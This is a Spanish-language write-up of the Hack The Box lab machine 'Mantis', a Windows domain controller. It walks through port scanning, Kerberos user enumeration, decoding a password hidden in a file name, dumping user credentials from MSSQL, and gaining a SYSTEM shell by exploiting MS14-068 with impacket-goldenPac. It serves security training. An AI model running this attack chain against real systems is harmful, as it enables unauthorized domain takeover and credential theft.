Enumeración
Iniciamos la máquina escaneando los puertos de la máquina con nmap
donde encontramos varios puertos de AD abiertos entre ellos smb
, kerberos
y otros
❯ nmap 10.10.10.52
Nmap scan report for 10.10.10.52
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
1337/tcp open waste
1433/tcp open ms-sql-s
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5722/tcp open msdfsr
8080/tcp open http-proxy
9389/tcp open adws
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49157/tcp open unknown
49158/tcp open unknown
49166/tcp open unknown
49170/tcp open unknown
49174/tcp open unknown
50255/tcp open unknown
Con crackmapexec
podemos obtener información de la maquina asi como el dominio
que es htb.local
ademas del nombre que parece es mantis
❯ crackmapexec smb 10.10.10.52
SMB 10.10.10.52 445 MANTIS [*] Windows Server 2008 R2 Standard 7601 Service Pack 1 x64 (name:MANTIS) (domain:htb.local) (signing:True) (SMBv1:True)
Para posibles proximos ataques o solo por comodidad agregaremos el dominio
al /etc/hosts
ademas el nombre de la máquina mantis
como otro dominio
❯ echo "10.10.10.52 htb.local mantis.htb.local" | sudo tee -a /etc/hosts
Al usar kerbrute
pasandole un dicceionario de usuarios
perteneciente a el repo de seclists
logramos identificar solo a 3
usuarios existentes de parte del dominio
❯ kerbrute userenum -d htb.local --dc mantis.htb.local /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
> Using KDC(s):
> mantis.htb.local:88
> [+] VALID USERNAME: administrator@htb.local
> [+] VALID USERNAME: james@htb.local
> [+] VALID USERNAME: mantis@htb.local
Con una lista de usuarios podemos probar un ASREPRoast
, ninguno es vulnerable
❯ impacket-GetNPUsers htb.local/ -no-pass -usersfile users.txt
Impacket v0.11.0 - Copyright 2023 Fortra
[-] User james doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mantis doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
El puerto 8080
esta abierto en la máquina, sin embargo despues de buscar y probar diferentes vulnerabilidades no encontramos absolutamente nada interesante
También tenemos el puerto 1337
abierto, este puerto tambien corre una pagina web sin embargo la principal es solo un simple panel de IIS
version 7 por defecto
Usando wfuzz
podemos encontrar 2 directorios, sin embargo el directorio orchard
nos devuelve un codigo de estado 500. secure_notes
que nos devuelve un 301
❯ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://mantis.htb.local:1337/FUZZ -t 100 --hc 404
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://mantis.htb.local:1337/FUZZ
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000024818: 500 72 L 241 W 3026 Ch "orchard"
000095776: 301 1 L 10 W 165 Ch "secure_notes"
Al abrir el directorio /secure_notes
podemos encontrar 2 archivos, el primero es un archivo con doble extensión .txt
y el otro un web.config
que llama la atencion
Aunque el web.config
parece bastante interesante al abrirla nos devuelve 404
Access - admin
El archivo .txt
contiene algunas notas, la numero 2 es bastante interesante, nos habla de algo de descargar MSSQLServer
, crear un usuario admin
y una db
Lo interesante esta en el nombre del archivo, este es un base64
que al decodearlo nos deja una cadena en hexadecimal
y al decodearla parece una contraseña
❯ echo NmQyNDI0NzE2YzVmNTM0MDVmNTA0MDczNzM1NzMwNzI2NDIx | base64 -d
6d2424716c5f53405f504073735730726421
❯ echo NmQyNDI0NzE2YzVmNTM0MDVmNTA0MDczNzM1NzMwNzI2NDIx | base64 -d | xxd -ps -r
m$$ql_S@_P@ssW0rd!
Las notas nos dice que el usuario es admin
, asi que con crackmapexec
comprobamos la contraseña para la db
, esta autenticacion devuelve que es valida
❯ crackmapexec mssql mantis.htb.local -u admin -p 'm$$ql_S@_P@ssW0rd!' --local-auth
MSSQL htb.local 1433 MANTIS [*] Windows 6.1 Build 7601 (name:MANTIS) (domain:MANTIS)
MSSQL htb.local 1433 MANTIS [+] admin:m$$ql_S@_P@ssW0rd!
Podemos simplemente usar mssqlclient
para conectarnos como el usuario admin
❯ impacket-mssqlclient htb.local/admin:'m$$ql_S@_P@ssW0rd!'@mantis.htb.local
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(MANTIS\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(MANTIS\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (120 7208)
[!] Press help for extra shell commands
SQL>
Access - james
Como este usuario no podemos habilitar el modulo xp_cmdshell
para ejecutar comandos, iniciaremos enumerando las bases de datos
existentes en el servidor
SQL> select name from sysdatabases;
name
---------
master
tempdb
model
msdb
orcharddb
SQL>
Ya que solo parece interesante la base de datos orcharddb
nos conectamos a ella con use
, ya que el resto son las bases de datos que vienen por defecto
en mssql
SQL> use orcharddb;
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: orcharddb
[*] INFO(MANTIS\SQLEXPRESS): Line 1: Changed database context to 'orcharddb'.
SQL>
Enumerando las tablas
de las bases de datos orcharddb
podemos filtrar por aquellas que tengas la string user
en ellas, solo encontramos 2
con esta condicion
SQL> select name from sys.tables where name like '%user%';
name
--------------------------------------
blog_Orchard_Users_UserPartRecord
blog_Orchard_Roles_UserRolesPartRecord
SQL>
Finalmente listamos las columnas
de una de las tablas anteriores, la cual contiene posibles credenciales de usuarios en las columnas UserName
y Password
SQL> select name from sys.columns where object_id = object_id('blog_Orchard_Users_UserPartRecord');
name
-------------------
Id
UserName
Email
NormalizedUserName
Password
PasswordFormat
HashAlgorithm
PasswordSalt
RegistrationStatus
EmailStatus
EmailChallengeToken
CreatedUtc
LastLoginUtc
LastLogoutUtc
SQL>
Al leer el contenido de estas columnas
podemos encontrar 2 posibles credenciales validas, las de admin
en base64 y las del usuario James
en texto claro
SQL> select username,password from blog_Orchard_Users_UserPartRecord
username password
-------- --------------------------------------------------------------------
admin AL1337E2D6YHm0iIysVzG8LA76OozgMSlyOJk1Ov5WCGK+lgKY6vrQuswfWHKZn2+A==
James J@m3s_P@ssW0rd!
SQL>
Las credenciales del usuario James
son validas, sin embargo al listar los recursos compartidos por SMB
no tenemos privilegios realmente interesantes
❯ crackmapexec smb mantis.htb.local -u James -p J@m3s_P@ssW0rd!
SMB htb.local 445 MANTIS [*] Windows Server 2008 R2 Standard 7601 Service Pack 1 x64 (name:MANTIS) (domain:htb.local) (signing:True) (SMBv1:True)
SMB htb.local 445 MANTIS [+] htb.local\James:J@m3s_P@ssW0rd!
❯ crackmapexec smb mantis.htb.local -u James -p J@m3s_P@ssW0rd! --shares
SMB htb.local 445 MANTIS [*] Windows Server 2008 R2 Standard 7601 Service Pack 1 x64 (name:MANTIS) (domain:htb.local) (signing:True) (SMBv1:True)
SMB htb.local 445 MANTIS [+] htb.local\James:J@m3s_P@ssW0rd!
SMB htb.local 445 MANTIS [+] Enumerated shares
SMB htb.local 445 MANTIS Share Permissions Remark
SMB htb.local 445 MANTIS ----- ----------- ------
SMB htb.local 445 MANTIS ADMIN$ Remote Admin
SMB htb.local 445 MANTIS C$ Default share
SMB htb.local 445 MANTIS IPC$ Remote IPC
SMB htb.local 445 MANTIS NETLOGON READ Logon server share
SMB htb.local 445 MANTIS SYSVOL READ Logon server share
Shell - Administrator
Curiosamente el usuario James
pertenece al grupo Remote Desktop Users
, sin embargo el puerto 3389
no esta abierto por lo que no podemos conectarnos
❯ crackmapexec smb mantis.htb.local -u James -p J@m3s_P@ssW0rd! --groups 'Remote Desktop Users'
SMB htb.local 445 MANTIS [*] Windows Server 2008 R2 Standard 7601 Service Pack 1 x64 (name:MANTIS) (domain:htb.local) (signing:True) (SMBv1:True)
SMB htb.local 445 MANTIS [+] htb.local\James:J@m3s_P@ssW0rd!
SMB htb.local 445 MANTIS [+] Enumerated members of domain group
SMB htb.local 445 MANTIS htb.local\james
La via principal es explotar la máquina es a través del MS14-068, podemos usar goldenPac
pasandole las credenciales de James
y obtener una shell como el usuario nt authority\system
, usuario que tiene maximos privilegios sobre el equipo
❯ impacket-goldenPac htb.local/James:'J@m3s_P@ssW0rd!'@mantis.htb.local
Impacket v0.11.0 - Copyright 2023 Fortra
[*] User SID: S-1-5-21-4220043660-4019079961-2895681657-1103
[*] Forest SID: S-1-5-21-4220043660-4019079961-2895681657
[*] Attacking domain controller mantis.htb.local
[*] mantis.htb.local found vulnerable!
[*] Requesting shares on mantis.htb.local.....
[*] Found writable share ADMIN$
[*] Uploading file UUQRfehy.exe
[*] Opening SVCManager on mantis.htb.local.....
[*] Creating service FNmo on mantis.htb.local.....
[*] Starting service FNmo.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>type C:\Users\James\Desktop\user.txt
552**************************e4a
C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
6a1**************************50d
C:\Windows\system32>